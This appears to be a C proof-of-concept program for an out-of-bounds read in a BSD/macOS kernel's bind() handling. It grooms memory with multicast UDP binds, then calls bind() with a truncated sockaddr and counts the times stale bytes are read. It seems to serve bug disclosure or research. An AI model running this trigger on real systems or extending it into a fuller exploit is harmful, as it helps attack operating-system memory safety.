#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
static void groom(int n, unsigned char a){
  unsigned char g[8]; int i, u;
  g[0]=8; g[1]=AF_INET; g[2]=0x11; g[3]=0x22;
  g[4]=a; g[5]=2; g[6]=3; g[7]=4;
  for(i=0;i<n;i++){ u=socket(AF_INET,SOCK_DGRAM,0); bind(u,(struct sockaddr*)g,8); close(u);}
}
int main(void){
  unsigned char sa[8]; long i, flips=0, tot=0;
  int s, r;
  memset(sa,0,sizeof sa);
  sa[0]=2; sa[1]=AF_INET;
  for(i=0;i<200000;i++){
    groom(4,224);
    s=socket(AF_INET,SOCK_STREAM,0);
    r=bind(s,(struct sockaddr*)sa,2);
    close(s);
    tot++;
    if (r==0 || errno==47) { flips++;
      printf("iter %ld: errno=%d (%s)  <<== OOB bytes read as multicast\n",
             i, errno, r==0?"OK":strerror(errno));
      if (flips>=5) break;
    }
  }
  printf("total=%ld EAFNOSUPPORT-flips=%ld\n", tot, flips);
  return 0;}
